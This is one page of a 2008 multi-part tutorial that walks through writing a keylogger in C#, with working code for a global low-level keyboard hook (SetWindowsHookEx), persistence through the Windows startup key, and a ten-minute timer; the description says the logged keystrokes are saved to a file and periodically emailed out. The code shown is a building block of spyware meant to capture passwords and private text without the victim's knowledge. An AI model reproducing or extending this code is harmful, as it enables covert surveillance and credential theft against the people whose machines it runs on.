Creating a Simple Key Logger in C#

Written By: Dragos Nicholas

- 13 Sep 2008 -
















Description: Learn how to program a simple key logger with the help of C# and the .NET Framework. And that's not all, it saves the keystrokes into a file and periodically sends the file as an email attachment.

  1. Creating the Project
  2. Running the Key Logger at Windows Startup
  3. You've Got Mail
  4. Intercepting Keystrokes
  5. The HookCallback Method
  6. API Methods
  7. Possible Errors

Intercepting Keystrokes

This is the most important part of the keylogger. I've put the necessary code in the InterceptKeys class.

First, we should declare some constants. I've explained what each one does in the API methods section. Just take the following code as it is for now, your questions will be answered later.

class InterceptKeys
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

At last, the Main() method. We set up the hook via SetHook(_proc) and we check if the program is in the startup key of Windows with the use of appstart.startup() method.

As I've already told you, we need a timer to know when to send the message.

When the timer elapses, the OnTimedEvent in the appstart class is called.

The AutoReset value is set to true, so when the timer elapses, it will reset; if the value was false, then the message would be sent only once.

The Interval value indicates the time (in milisecond) after which the OnTimedEvent will be called. In my example, you see 600.000 miliseconds, meaning 10 minutes.

Another important instruction is GC.KeepAlive(timer);. This will prevent garbage collection from occuring before the method ends. The UnhookWindowsHookEx will disable the hook.

public static void Main()
{
    _hookID = SetHook(_proc);
    appstart.startup();
    System.Timers.Timer timer;
    timer = new System.Timers.Timer();
    timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);
    timer.AutoReset = true;
    timer.Interval = 600000;
    timer.Start(); 
    Application.Run();
    GC.KeepAlive(timer);
    UnhookWindowsHookEx(_hookID);
}

SetWindowsHookEx returns a hook ID which will be used to unhook the application when it shuts down, so this needs to be stored in a member variable for future use.

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
        return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
    }
}

SetWindowsHookEx requires a pointer to the callback function that will be used to process the keyboard events:

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

<< Previous

Next >>